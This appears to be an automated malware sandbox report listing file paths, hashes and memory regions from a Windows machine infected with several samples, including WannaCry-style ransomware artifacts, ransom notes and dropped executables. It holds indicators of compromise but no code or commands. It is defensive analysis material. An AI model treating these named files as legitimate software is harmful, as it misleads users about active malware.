SHA1 c4b1b3c087bd12b063e98bca464cd05f3f7b7882
SHA256 49f2c739e7d9745c0834dc817a71bf6676ccc24a4c28dcddf8844093aab3df07
SHA512 c0da2aae82c397f6943a0a7b838f60eeef8f57192c5f498f2ecf05db824cfeb6d6ca830bf3715da7ee400aa8362bd64dc835298f3f0085ae7a744e6e6c690511

C:\Users\Admin\AppData\Local\Temp\RarSFX0\msg\m_indonesian.wnry

MD5 3788f91c694dfc48e12417ce93356b0f
SHA1 eb3b87f7f654b604daf3484da9e02ca6c4ea98b7
SHA256 23e5e738aad10fb8ef89aa0285269aff728070080158fd3e7792fe9ed47c51f4
SHA512 b7dd9e6dc7c2d023ff958caf132f0544c76fae3b2d8e49753257676cc541735807b4befdf483bcae94c2dcde3c878c783b4a89dca0fecbc78f5bbf7c356f35cd

C:\Users\Admin\AppData\Local\Temp\RarSFX0\msg\m_greek.wnry

MD5 fb4e8718fea95bb7479727fde80cb424
SHA1 1088c7653cba385fe994e9ae34a6595898f20aeb
SHA256 e13cc9b13aa5074dc45d50379eceb17ee39a0c2531ab617d93800fe236758ca9
SHA512 24db377af1569e4e2b2ebccec42564cea95a30f1ff43bcaf25a692f99567e027bcef4aacef008ec5f64ea2eef0c04be88d2b30bcadabb3919b5f45a6633940cb

C:\Users\Admin\AppData\Local\Temp\RarSFX0\msg\m_german.wnry

MD5 3d59bbb5553fe03a89f817819540f469
SHA1 26781d4b06ff704800b463d0f1fca3afd923a9fe
SHA256 2adc900fafa9938d85ce53cb793271f37af40cf499bcc454f44975db533f0b61
SHA512 95719ae80589f71209bb3cb953276538040e7111b994d757b0a24283aefe27aadbbe9eef3f1f823ce4cabc1090946d4a2a558607ac6cac6faca5971529b34dac

C:\Users\Admin\AppData\Local\Temp\RarSFX0\msg\m_french.wnry

MD5 4e57113a6bf6b88fdd32782a4a381274
SHA1 0fccbc91f0f94453d91670c6794f71348711061d
SHA256 9bd38110e6523547aed50617ddc77d0920d408faeed2b7a21ab163fda22177bc
SHA512 4f1918a12269c654d44e9d394bc209ef0bc32242be8833a2fba437b879125177e149f56f2fb0c302330dec328139b34982c04b3fefb045612b6cc9f83ec85aa9

C:\Users\Admin\AppData\Local\Temp\RarSFX0\msg\m_filipino.wnry

MD5 08b9e69b57e4c9b966664f8e1c27ab09
SHA1 2da1025bbbfb3cd308070765fc0893a48e5a85fa
SHA256 d8489f8c16318e524b45de8b35d7e2c3cd8ed4821c136f12f5ef3c9fc3321324
SHA512 966b5ed68be6b5ccd46e0de1fa868cfe5432d9bf82e1e2f6eb99b2aef3c92f88d96f4f4eec5e16381b9c6db80a68071e7124ca1474d664bdd77e1817ec600cb4

C:\Users\Admin\AppData\Local\Temp\RarSFX0\msg\m_english.wnry

MD5 fe68c2dc0d2419b38f44d83f2fcf232e
SHA1 6c6e49949957215aa2f3dfb72207d249adf36283
SHA256 26fd072fda6e12f8c2d3292086ef0390785efa2c556e2a88bd4673102af703e5
SHA512 941fa0a1f6a5756ed54260994db6158a7ebeb9e18b5c8ca2f6530c579bc4455918df0b38c609f501ca466b3cc067b40e4b861ad6513373b483b36338ae20a810

C:\Users\Admin\AppData\Local\Temp\RarSFX0\msg\m_dutch.wnry

MD5 7a8d499407c6a647c03c4471a67eaad7
SHA1 d573b6ac8e7e04a05cbbd6b7f6a9842f371d343b
SHA256 2c95bef914da6c50d7bdedec601e589fbb4fda24c4863a7260f4f72bd025799c
SHA512 608ef3ff0a517fe1e70ff41aeb277821565c5a9bee5103aa5e45c68d4763fce507c2a34d810f4cd242d163181f8341d9a69e93fe32aded6fbc7f544c55743f12

C:\Users\Admin\AppData\Local\Temp\RarSFX0\taskdl.exe

MD5 19f49309ed4d17a716bba60f1711459f
SHA1 33b9fd0887183ce34427072ac7207d0f146aa2ae
SHA256 5d8aa0cdda77c2ac55685cab6915fb0d0fce6ae3c447574e00a6f96e19955bd5
SHA512 b1b100a7905b36a20954e735b202882eb3c13e1bb63c495163965476c98dc971c929b745627ce600809776807f4ece810f5c26586131f97f0dfa9bcdd5514ae1

C:\Users\Admin\AppData\Local\Temp\RarSFX0\msg\m_danish.wnry

MD5 2c5a3b81d5c4715b7bea01033367fcb5
SHA1 b548b45da8463e17199daafd34c23591f94e82cd
SHA256 a75bb44284b9db8d702692f84909a7e23f21141866adf3db888042e9109a1cb6
SHA512 490c5a892fac801b853c348477b1140755d4c53ca05726ac19d3649af4285c93523393a3667e209c71c80ac06ffd809f62dd69ae65012dcb00445d032f1277b3

memory/4612-187-0x0000000000EC0000-0x0000000000ED0000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\RarSFX0\msg\m_czech.wnry

MD5 537efeecdfa94cc421e58fd82a58ba9e
SHA1 3609456e16bc16ba447979f3aa69221290ec17d0
SHA256 5afa4753afa048c6d6c39327ce674f27f5f6e5d3f2a060b7a8aed61725481150
SHA512 e007786ffa09ccd5a24e5c6504c8de444929a2faaafad3712367c05615b7e1b0fbf7fbfff7028ed3f832ce226957390d8bf54308870e9ed597948a838da1137b

C:\Users\Admin\AppData\Local\Temp\RarSFX0\msg\m_croatian.wnry

MD5 17194003fa70ce477326ce2f6deeb270
SHA1 e325988f68d327743926ea317abb9882f347fa73
SHA256 3f33734b2d34cce83936ce99c3494cd845f1d2c02d7f6da31d42dfc1ca15a171
SHA512 dcf4ccf0b352a8b271827b3b8e181f7d6502ca0f8c9dda3dc6e53441bb4ae6e77b49c9c947cc3ede0bf323f09140a0c068a907f3c23ea2a8495d1ad96820051c

C:\Users\Admin\AppData\Local\Temp\RarSFX0\msg\m_chinese (traditional).wnry

MD5 2efc3690d67cd073a9406a25005f7cea
SHA1 52c07f98870eabace6ec370b7eb562751e8067e9
SHA256 5c7f6ad1ec4bc2c8e2c9c126633215daba7de731ac8b12be10ca157417c97f3a
SHA512 0766c58e64d9cda5328e00b86f8482316e944aa2c26523a3c37289e22c34be4b70937033bebdb217f675e40db9fecdce0a0d516f9065a170e28286c2d218487c

C:\Users\Admin\AppData\Local\Temp\RarSFX0\msg\m_chinese (simplified).wnry

MD5 0252d45ca21c8e43c9742285c48e91ad
SHA1 5c14551d2736eef3a1c1970cc492206e531703c1
SHA256 845d0e178aeebd6c7e2a2e9697b2bf6cf02028c50c288b3ba88fe2918ea2834a
SHA512 1bfcf6c0e7c977d777f12bd20ac347630999c4d99bd706b40de7ff8f2f52e02560d68093142cc93722095657807a1480ce3fb6a2e000c488550548c497998755

C:\Users\Admin\AppData\Local\Temp\RarSFX0\msg\m_bulgarian.wnry

MD5 95673b0f968c0f55b32204361940d184
SHA1 81e427d15a1a826b93e91c3d2fa65221c8ca9cff
SHA256 40b37e7b80cf678d7dd302aaf41b88135ade6ddf44d89bdba19cf171564444bd
SHA512 7601f1883edbb4150a9dc17084012323b3bfa66f6d19d3d0355cf82b6a1c9dce475d758da18b6d17a8b321bf6fca20915224dbaedcb3f4d16abfaf7a5fc21b92

C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected]

MD5 11a8e18f8428b63bdcf5bf761815f1ac
SHA1 c674b9132fe4eb63f9f5fb51a1136da51a075458
SHA256 3d26653a2d6222f77e305bd58bfb7236bcd68ebb6c3cfa9c2b5c260c7ce555ef
SHA512 b249b86fa42553b8bea815e2fd83fd52d35c33b1b98a8495719f1699715c13de4e49e7d06e86a7e5413a6a1e0943166ace8cadfe23432d24eb95269a6b81ac14

C:\Users\Admin\AppData\Local\Temp\RarSFX0\c.wnry

MD5 93f33b83f1f263e2419006d6026e7bc1
SHA1 1a4b36c56430a56af2e0ecabd754bf00067ce488
SHA256 ef0ed0b717d1b956eb6c42ba1f4fd2283cf7c8416bed0afd1e8805ee0502f2b4
SHA512 45bdd1a9a3118ee4d3469ee65a7a8fdb0f9315ca417821db058028ffb0ed145209f975232a9e64aba1c02b9664c854232221eb041d09231c330ae510f638afac

C:\Users\Admin\AppData\Local\Temp\RarSFX0\@[email protected]

MD5 25f4137d5942a00d8de22a722df7a000
SHA1 22a17971dd4c287fbdd724a71141c107f533a6ed
SHA256 7cc0d4af0307bcab9d04cc01a14ecd80e85f3bc10efcc2a64a4eced8a0882b5a
SHA512 d036038f3912fb9eaddeaf528942d133970f5d448279dee87e87c229bfc8024f7d533d5ad6d8656ab8075a5bf6c95fde6bc139152fb55ad6fd633a7c79e6a9bd

C:\Users\Admin\AppData\Local\Temp\RarSFX0\b.wnry

MD5 ddfb264de829e3be2e7759f5adefcefa
SHA1 8547506c830cad4d66831bdc1c330103c2fe929b
SHA256 a58b745652282f37abbe52fb4a25e27e9c04d9cde02c380f19930db34ef91ebf
SHA512 30016a8bde67a984e63b31b85bd29f982af67aa6d17b77c99c1397eb88897c9524b11d2f4f6b227bfdef5df62ee87d140265f80b607599c29b95e69a4581db9a

memory/2568-128-0x0000000000400000-0x00000000004CC000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\RarSFX0\@[email protected]

MD5 7e6b6da7c61fcb66f3f30166871def5b
SHA1 00f699cf9bbc0308f6e101283eca15a7c566d4f9
SHA256 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e
SHA512 e5a56137f325904e0c7de1d0df38745f733652214f0cdb6ef173fa0743a334f95bed274df79469e270c9208e6bdc2e6251ef0cdd81af20fa1897929663e2c7d3

C:\Users\Admin\Desktop\1.exe

MD5 69a5fc20b7864e6cf84d0383779877a5
SHA1 6c31649e2dc18a9432b19e52ce7bf2014959be88
SHA256 4fe08cc381f8f4ea6e3d8e34fddf094193ccbbcc1cae7217f0233893b9c566a2
SHA512 f19f3221a26bdab7ddcf18196ef6e6012968c675065c4e56f54faaace18321c07771fdbdacabd365159ccc5bf01e40693146709217e13dcd282609242e61a4bc

memory/856-341-0x0000000000400000-0x00000000005DE000-memory.dmp

memory/856-363-0x0000000000400000-0x00000000005DE000-memory.dmp

memory/856-325-0x0000000000400000-0x00000000005DE000-memory.dmp

memory/3204-121-0x0000000004BD0000-0x0000000004BE0000-memory.dmp

memory/4612-118-0x0000000070F50000-0x0000000071501000-memory.dmp

memory/3204-111-0x0000000072C80000-0x0000000073430000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\RarSFX0\x2s443bc.cs1.exe

MD5 28e89fe3e80084ab052c007ad77c3b57
SHA1 c355d6eb16b4a8502c99c0f99e73621bc87ab814
SHA256 f5b4b89a7064a85af4c14666a415299046403573c73afd1f3ae4dbf009be779d
SHA512 1e5eaaa4bbd8d49f8be63e241ec309a0c7252dc02fe9616b57e663b462a9b7d165b126f8d7bf7dabd4a98bcbb5db8e4e010539599c8edb0e28f4e3904b149714

memory/3204-109-0x0000000004BE0000-0x0000000004C7C000-memory.dmp

C:\odt\OFFICE~1.EXE

MD5 091260e6029dd7b2c20ccbf4a702dbe8
SHA1 296c46a32257d2e68af964f5fb350226d8a69d7f
SHA256 6b21d1d77eb06915fa415853a7cd875e1cf942b8ce956a9a5f67fc2b2f80095f
SHA512 dd21fb8827761ce55303eea21aa8b6db362b2cfb17a1b02de41cf9db227181ec08745ed0d425bea8c0368df0e5de7cc82a41f27ea41e62e6f0819ee9d11dc14c

memory/3204-102-0x0000000000300000-0x0000000000308000-memory.dmp

memory/2052-95-0x0000000010000000-0x0000000010010000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\RarSFX0\ska2pwej.aeh.exe

MD5 3a28362899bdb4d964807a203a4b7cdd
SHA1 ae916ad0821e1069f0a60b869e2c31449be9944a
SHA256 b50641d7f8f602bfd0414836d34266f6c6beb9e4d44bbaaec0c05bbaa81c17a1
SHA512 bfa02bc791f91ad65966592cd6e73b98e52105cb0789133f8b98062cccf8ea83037caac2eb02106bac2f3ea7079e25255a8d5ab638500ffb3b0721decb3dc35b

memory/856-86-0x0000000000400000-0x00000000005DE000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\RarSFX0\188771704847029.bat

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

memory/856-93-0x0000000002260000-0x000000000232E000-memory.dmp

memory/4768-77-0x0000000000400000-0x0000000000433000-memory.dmp

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

MD5 4d404df002279873632d2b8d91cc693a
SHA1 13854ba745d2ffd6eab35ab800225aff14966666
SHA256 f6b8cc34bcf35cbdfee76c0907c5c9115e71111685f6144acc12dacf2c74f093
SHA512 0d4095f0f361d88d8d49cc1b77d2bc04cf1dfbc965e47feaf8d0a253822c0179a3d2032be7e1118c8ed03fd460b444bb637efd20da7f86ee1406f1008086c550

C:\Users\Admin\AppData\Local\Temp\RarSFX0\RIP_YOUR_PC_LOL.exe

MD5 e71fe23ea72e09aae3d1b290bcb39ae6
SHA1 b0a7ef4e249182971017e89b758b34a66e4d179c
SHA256 bfcf35870c2d89b2cb586aaf014ef133a522e19b8e300dab9227120c3418f30a
SHA512 6444818f7adc83f344fc6c2eb16e6f64f650068d1af524847b568a170cac9c7e94405a28ea9706190b53af469ecdf53b14b3cbeff65f7a7907ac5f759e66ac16

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

MD5 6e362ab6b8fb47b95bfc6645bf5b52f0
SHA1 8006de822363558bdd1a501b2857f916b3be468b
SHA256 fdb65d969ae7de2a1fc04a2a57cd7716ab51b7d7f2fbb7d03f66cba2b248eb7a
SHA512 98748a557d652aac48396f6efac13f6d9c0029a263f2b83cf9603a585e47747e91783fd82b96992cc0f12df35fa88a1a2968457109f1dc4a3065504665f5cd9e

memory/4612-459-0x0000000000EC0000-0x0000000000ED0000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\RarSFX0\RIP_YOUR_PC_LOL.exe

MD5 ded467cd22cf6d48926fb13437788651
SHA1 776039b0aebf46188935a64c012f56d354f013c7
SHA256 be34b43654f7eb9be843d9e0678800839815a281d1ec968b3cef6ca5eca0e40c
SHA512 46f37e96bf25d4271291abc3f622c3da5f1a4a5561cd57d1a3b1ce2e42c1acfbb8ae9facf0066f6f4c126abd7193b82603d00f0609c2154398b06480e6b12e38

C:\Users\Admin\AppData\Local\Temp\3582-490\bot.exe

MD5 cb960c030f900b11e9025afea74f3c0c
SHA1 bbdcad9527c814a9e92cdc1ee27ae9db931eb527
SHA256 91a293c01eb7f038ddbc3a4caf8b4437da3f7d0abeef6b10d447127fac946b99
SHA512 9ca0291caa566b2cde3d4ba4634a777a884a97c471794eff544923457e331d78f01e1e4e8b893e762a33d7bdaa0f05e8a8b8e587c903e0de9bf61c069e82f554

memory/4768-66-0x00000000014B0000-0x00000000014E1000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\3582-490\msedge.exe

MD5 a9e82b0f26127eefdef6725e0d60f39b
SHA1 840be051a8908aea970f6a68957ea2e90ee4546d
SHA256 e22881105d84272fb7c8475a31afcc980028438adb87684c909b41247759392d
SHA512 5ec65e544b3e0da9908176a127d4f718db15ca3e5fe3fd67b1e242f7865e05e6e3aa0fcfc570337868a39f57fa354a33efb29172bb6bcf5191877292ad22c520

memory/1344-695-0x0000000000400000-0x000000000041B000-memory.dmp

C:\Users\Admin\Desktop\10.exe

MD5 1ddbd114fcb21c70447785ffc0f9f524
SHA1 7a7f96f92dc4c9069bb3d96f36d9ca330a7d660c
SHA256 6e5bc2ed2a56fa4f61777b416083c95b99e8900f1c96f80d1ef88b02be248e99
SHA512 822c68a0489347118f671d06b5d62b50351cf3e7bce6bf1e4e1a9b141df9e425fc3951913799fa2e6a9629bd19db1a6f4e7de9dd53c9dc2ee203f6cd039429c3

memory/4300-789-0x0000000000400000-0x0000000000414000-memory.dmp

memory/3452-891-0x0000000000400000-0x000000000043D000-memory.dmp

memory/3452-887-0x0000000000560000-0x000000000056F000-memory.dmp

memory/1468-948-0x0000000000400000-0x000000000043D000-memory.dmp

memory/3304-1028-0x00000000776D2000-0x00000000776D3000-memory.dmp

memory/3304-1179-0x0000000000400000-0x000000000042E000-memory.dmp

memory/3012-1310-0x0000000000400000-0x000000000041B000-memory.dmp

memory/856-1311-0x0000000000400000-0x00000000005DE000-memory.dmp

memory/5840-1362-0x00007FFFBD290000-0x00007FFFBD2A0000-memory.dmp

memory/5840-1365-0x00007FFFBD290000-0x00007FFFBD2A0000-memory.dmp

memory/2568-1399-0x0000000000400000-0x00000000004CC000-memory.dmp

memory/5680-1428-0x00000000005B0000-0x000000000060E000-memory.dmp

memory/5840-1511-0x00007FFFFD210000-0x00007FFFFD405000-memory.dmp

memory/1240-1468-0x0000000000400000-0x000000000068E000-memory.dmp

memory/3960-1521-0x0000000000400000-0x0000000000705000-memory.dmp

memory/5840-1523-0x00007FFFFD210000-0x00007FFFFD405000-memory.dmp

memory/5680-1524-0x00000000005B0000-0x000000000060E000-memory.dmp

memory/452-1528-0x0000000000730000-0x0000000000731000-memory.dmp

memory/5544-1519-0x0000000000400000-0x00000000005B6000-memory.dmp

memory/3568-1529-0x00007FFFFD210000-0x00007FFFFD405000-memory.dmp

memory/5500-1534-0x0000000000400000-0x000000000041B000-memory.dmp

memory/5680-1531-0x00000000005B0000-0x000000000060E000-memory.dmp

memory/5840-1518-0x00007FFFBD290000-0x00007FFFBD2A0000-memory.dmp

memory/5940-1536-0x00007FFFDD410000-0x00007FFFDDED1000-memory.dmp

C:\ProgramData\MIME post encoding 76\MIME post encoding 76.exe

MD5 7a75bca4f078ecb9819a5e983c4cb8e3
SHA1 5b8f7cf0dce8eba66b808c6001d7a67670f3c827
SHA256 04dc1c2051de9340fbabd02c721b887ecbec7d3559ad7fbbead0bebba87e16d3
SHA512 f1ead0b3f972aef28fd8eafb72961a86d0ff3ee6d83697d8f5adcd745369d8b0ef66eb313859b5dd6d0d29817490284a651a7e3445a34a8a1abad3cdf51331db

memory/5544-1413-0x0000000000400000-0x00000000005B6000-memory.dmp

memory/2852-1537-0x0000000070F50000-0x0000000071501000-memory.dmp

memory/5840-1412-0x00007FFFFD210000-0x00007FFFFD405000-memory.dmp

memory/2852-1538-0x0000000001530000-0x0000000001540000-memory.dmp

memory/5940-1411-0x0000000000100000-0x0000000000194000-memory.dmp

memory/5840-1402-0x00007FFFBD290000-0x00007FFFBD2A0000-memory.dmp

memory/1976-1364-0x0000000000400000-0x00000000004D8000-memory.dmp

memory/6104-1539-0x0000000070F50000-0x0000000071501000-memory.dmp

memory/6104-1540-0x0000000000C40000-0x0000000000C50000-memory.dmp

memory/5824-1312-0x0000000000400000-0x000000000042E000-memory.dmp

memory/5940-1541-0x000000001ACF0000-0x000000001AD00000-memory.dmp

memory/5804-1542-0x0000000000400000-0x0000000000416000-memory.dmp

memory/4768-1543-0x0000000000400000-0x0000000000433000-memory.dmp

C:\Windows\directx.sys

MD5 033a21d049cf5546fe0537f15435c440
SHA1 2da12b487030fb6300e992b474860444229dfad6
SHA256 bdb8157f9c7d593b90df878e8010f87c3d3f18108e43d2e50415b36c5536f3d1
SHA512 0a60df9963d3b5adb25347d1270163d7257dd0823a4435a7a07a3a0dfdeeef6e9b06d1101f672453b5cdc63bdbc18d4fd43e813fc6220a5c764a276190bcc224

memory/2376-1586-0x0000000000400000-0x000000000042F000-memory.dmp

memory/5940-1588-0x00000000020F0000-0x00000000020FC000-memory.dmp

memory/5940-1647-0x0000000002100000-0x000000000210A000-memory.dmp

memory/5276-1705-0x00007FFFFD210000-0x00007FFFFD405000-memory.dmp

memory/5276-1739-0x00007FFFFD210000-0x00007FFFFD405000-memory.dmp

memory/5336-1734-0x0000000000400000-0x000000000041B000-memory.dmp

memory/5276-1774-0x00007FFFFD210000-0x00007FFFFD405000-memory.dmp

memory/5276-1817-0x00007FFFFD210000-0x00007FFFFD405000-memory.dmp

C:\Users\Admin\Documents\@[email protected]

MD5 1718ae5a68f038c8e3c7711031341b99
SHA1 d315be229a1e8820ef59b179db490d36e3aee451
SHA256 a5cf20d57fca9ebe07902d6d31024504a6025993c47bd1e0422b63d110cab499
SHA512 ce727253997d6f014350b4a9ec1a9c58a4f2397441ff41444f36533f3bc808ff07b9dc264a0c93d389f6efaed462cf313c8ab6d7620ee219831426e52f183a2f

memory/5276-1908-0x00007FFFFD210000-0x00007FFFFD405000-memory.dmp

memory/5276-2018-0x00007FFFFD210000-0x00007FFFFD405000-memory.dmp

memory/5940-1773-0x0000000002140000-0x000000000214C000-memory.dmp

memory/856-2114-0x0000000000400000-0x00000000005DE000-memory.dmp

memory/5276-2111-0x00007FFFFD210000-0x00007FFFFD405000-memory.dmp

memory/3204-2120-0x0000000072C80000-0x0000000073430000-memory.dmp

memory/5276-2129-0x00007FFFFD210000-0x00007FFFFD405000-memory.dmp

memory/4612-2122-0x0000000000EC0000-0x0000000000ED0000-memory.dmp

memory/4768-1703-0x0000000000400000-0x0000000000433000-memory.dmp

memory/4612-2135-0x0000000070F50000-0x0000000071501000-memory.dmp

C:\Users\Admin\Documents\OneNote Notebooks\My Notebook\@[email protected]

MD5 0a4d7c2b1a97982cac25f281e462ce15
SHA1 fb3cde435fb4c148c0cd3d55a84e26a28d8f3d6d
SHA256 4d783a6343debd940fa6b5f4a51cd91415b6beb6221857579e2acef512d9a29f
SHA512 912df852cd9047986c8f5ae1bed392684b2725db027b26ef41628193897c76f665a162a6c0d70a2b52c9d5fb92455246fa8cc39fb991bf507807abeb73681d9a

memory/5940-1704-0x0000000002110000-0x000000000211C000-memory.dmp

C:\Windows\directx.sys

MD5 b832361ca09d31ace36aca7ff0f687ab
SHA1 f1bab85b64bf24ec11e2f53d84ad6dd8a12b495f
SHA256 4f58b88adc6e0bde1613f59af728e9d3dad8b0ae9f9c49844d68629bfa8a115b
SHA512 ceb612a04a435a9c6c75a6c295793d204404e97df44215c3489dc1ec87f980f3cddd69b4bbbb6762f0e9b4af78d76ef69a12895a1320a08b6c098da043988307

C:\ProgramData\system.exe

MD5 6c9574648fe7b964f92e152268bac38b
SHA1 7e2d3bf86d895fef604925355a55a0ddf3f6b65b
SHA256 2e7102572d8f029eab5b27beac5f01bb7f0b93d6272510f69e046847dc7e6a01
SHA512 5f0c703376b7bc7b3c4d5fd34fad6a41cf97bec1c8e457ea59e1e4daaa1bbd9cff4d209d75becafb9c9230c8d01ea83c18d5df8994c0c0eafd4d01c12c64b75b

C:\ProgramData\wininit.exe

MD5 6faca872a8871476c239e0d8dfd93ac7
SHA1 4216e90a13a58d23bf0959bbd5f6d7041e109f26
SHA256 64ad1c240027e0e51716d6af212810ecfaa7259435d6727ec836fc7c3fc8f33e
SHA512 21ef7846be8177b94290fe03fa9725692bbcd8aef1d32fe1f91bed759b01dd9ce0dfa0d4a7847d3caab7b8abf5857cf02410d9fe9f8feb90bfcea1fe8074ed2b

memory/4612-2207-0x0000000070F50000-0x0000000071501000-memory.dmp

memory/2852-2210-0x0000000070F50000-0x0000000071501000-memory.dmp

C:\Windows\directx.sys

MD5 c93ff55f5c5a9e2323b2f5d677bdbee1
SHA1 3e1c36c7d34bafad15e140ce5b03734f6aa87d1d
SHA256 15a9b8e44230a9fef940f579e061c1db4244d2aae8a68f6139227b034e9f28cc
SHA512 8912432056d997f4847afcebbe0dca43e3d8bc249d539ebf937ab77871d797d6f84ff860fbccec6bffab898bf18edb30ea5805e8ed8c63e05a3272b0e512aa3a

memory/1740-2212-0x0000000000400000-0x0000000000414000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\is-UBLES.tmp\_isetup\_shfoldr.dll

MD5 92dc6ef532fbb4a5c3201469a5b5eb63
SHA1 3e89ff837147c16b4e41c30d6c796374e0b8e62c
SHA256 9884e9d1b4f8a873ccbd81f8ad0ae257776d2348d027d811a56475e028360d87
SHA512 9908e573921d5dbc3454a1c0a6c969ab8a81cc2e8b5385391d46b1a738fb06a76aa3282e0e58d0d2ffa6f27c85668cd5178e1500b8a39b1bbae04366ae6a86d3

C:\Users\Admin\AppData\Local\Temp\is-UBLES.tmp\_isetup\_iscrypt.dll

MD5 a69559718ab506675e907fe49deb71e9
SHA1 bc8f404ffdb1960b50c12ff9413c893b56f2e36f
SHA256 2f6294f9aa09f59a574b5dcd33be54e16b39377984f3d5658cda44950fa0f8fc
SHA512 e52e0aa7fe3f79e36330c455d944653d449ba05b2f9abee0914a0910c3452cfa679a40441f9ac696b3ccf9445cbb85095747e86153402fc362bb30ac08249a63

C:\Users\Admin\AppData\Local\Send Reports Form\stuff\is-78GK0.tmp

MD5 992c00beab194ce392117bb419f53051
SHA1 8f9114c95e2a2c9f9c65b9243d941dcb5cea40de
SHA256 9e35c8e29ca055ce344e4c206e7b8ff1736158d0b47bf7b3dbc362f7ec7e722c
SHA512 facdca78ae7d874300eacbe3014a9e39868c93493b9cd44aae1ab39afa4d2e0868e167bca34f8c445aa7ccc9ddb27e1b607d739af94aa4840789a3f01e7bed9d

C:\Users\Admin\AppData\Local\Send Reports Form\stuff\is-69RBS.tmp

MD5 257d1bf38fa7859ffc3717ef36577c04
SHA1 a9d2606cfc35e17108d7c079a355a4db54c7c2ee
SHA256 dfacc2f208ebf6d6180ee6e882117c31bb58e8b6a76a26fb07ac4f40e245a0cb
SHA512 e13a6f489c9c5ba840502f73acd152d366e0ccdd9d3d8e74b65ff89fdc70cd46f52e42eee0b4ba9f151323ec07c4168cf82446334564adaa8666624f7b8035f3

C:\odt\DECRYPT-FILES.txt

MD5 eac1357e331461f8bf5712912d42c13f
SHA1 5645c811ec8644cf1a395053142cb848157e33ed
SHA256 a29d9f11678effcfd5f259be1ab0c770380a3e9e68336d69af9be7227bbdd09e
SHA512 d201d602164a3a6adcd615f676bf9d287776e0642438fd841243078b7c88ef86a1b132f300e7015b7669da1db3c3c5b40ae00c39d40dcfe8232bda5fe6292ebb

C:\Users\Admin\AppData\Local\Temp\is-UBLES.tmp\_isetup\_isdecmp.dll

MD5 884b21286bc9de0ccc0bd4e065289af8
SHA1 a1682b12fd14fd22a2b311c5c34f8431e0d889f8
SHA256 086dd956cc657015c7bd5de4ca3ad06aaf3444ea405afc8803ce0a9b9c112558
SHA512 cc9dbce3db79fdae5a6dab984ed1b01e3781dc4808bb86ec05651878eaaf844447517bdc200680c37c5548b6ef45fcccf360b95f5cb1e0744b9b887e60877867

memory/3960-2295-0x00000000009F0000-0x00000000009F1000-memory.dmp

memory/1240-2438-0x00000000007F0000-0x00000000007F1000-memory.dmp

memory/548-2451-0x0000000000CE0000-0x0000000000CF0000-memory.dmp

memory/1560-2445-0x0000000000620000-0x0000000000621000-memory.dmp

memory/548-2456-0x0000000070F50000-0x0000000071501000-memory.dmp

memory/4612-2461-0x0000000000EC0000-0x0000000000ED0000-memory.dmp

memory/5520-1544-0x0000000000400000-0x00000000005B6000-memory.dmp

memory/5840-1318-0x00007FFFBD290000-0x00007FFFBD2A0000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Office\Recent\index.dat

MD5 c2d8256ca3cf91b407082d45ff2d30d5
SHA1 3fb3b69601c4cf9f65aa5f1064da60b5b827cb93
SHA256 68c932e62f9c8a78068e3ee12422c8d201e372ad9724a84246d344169e882a2f
SHA512 50b5fc7aace8c1c7b76623a6408d1a15e3df12be1644bac7c0c098a5f649150872f80b6f560ec6e1e81f7a0e9977db3618a2ab82f8cfded8e859648974809ac6

memory/1468-1180-0x0000000000400000-0x000000000043D000-memory.dmp

memory/5824-1145-0x0000000001F10000-0x0000000001F11000-memory.dmp

memory/1948-1144-0x0000000000400000-0x000000000041B000-memory.dmp

memory/4612-2692-0x0000000000EC0000-0x0000000000ED0000-memory.dmp

memory/4544-1143-0x0000000000400000-0x000000000041B000-memory.dmp

memory/1468-1019-0x0000000000580000-0x0000000000581000-memory.dmp

C:\Windows\directx.sys

MD5 f885d87964363b63dd02fa0764914e34
SHA1 f4040260ce0513af83c51129835e39fc1dc5b8cd
SHA256 6fe00c54216384322f650a0eee44b055009039ebb425ed0c07c458e32c97740f
SHA512 054af68bcf1bbfe0721fe210d9a56fa5d43bef94107c45c84e34edea6df9d05ea4d7e019a1c25d2e6568d903992164ed12f5e58dc7fb866956e0b41a56f61b1b

memory/5004-968-0x0000000000400000-0x000000000041B000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\RarSFX0\Files\limm.exe

MD5 e78e1579b9d8acec12bee1bea2883d77
SHA1 4e399ecb7389bef0130fc5bb932cf3ce1d502feb
SHA256 d46d169cf350ee1176be14e761eca98c0ffa0e9a5925690abe1ccc8f46737a41
SHA512 e0f199e58167610dbf2002693f23d0a3404e6e3a5caa3df0c394cf7217faaf609f1a6d47009290585e18758d9567532fab324af9db49592fa4e111414debe699

F:\$RECYCLE.BIN\DECRYPT-FILES.txt

MD5 19d237a9005429befd367a24c0716b7a
SHA1 8cda6c0fbf3da3e9acd61b72b101962554461c6a
SHA256 cab4d1d36a081dece41cc438fd7cac28b204dae26fae0d0dc2c61c9257c56aa7
SHA512 66d95429340ed33f8a79c5c665adbf3eea728f08cfe4eb1f91ae935630d978309abd9d8e5bebcaf58f4fb902141aa9d7702e8f9090612acbf6a82d21bd6319b9

C:\Windows\directx.sys

MD5 37cd6da175fb5802daeb9f246eba0e46
SHA1 8714314532ecc5108065f55856c1a02aab4bf6c4
SHA256 e24a1c3ffa9e59750620f1e9b95e41cf7e53cb6be8a54839e94145dad658041f
SHA512 f1f71c465a60c98b57b2174169e37daeefdae63a3614a2918cb1361f93e072859b0cd097bf104452b66370580212877c6eb4383ad5cdae1fc9cff55cd8b51897

memory/3304-1008-0x0000000000520000-0x0000000000521000-memory.dmp

memory/2376-833-0x0000000000400000-0x000000000042F000-memory.dmp

C:\Users\Admin\Desktop\2.doc

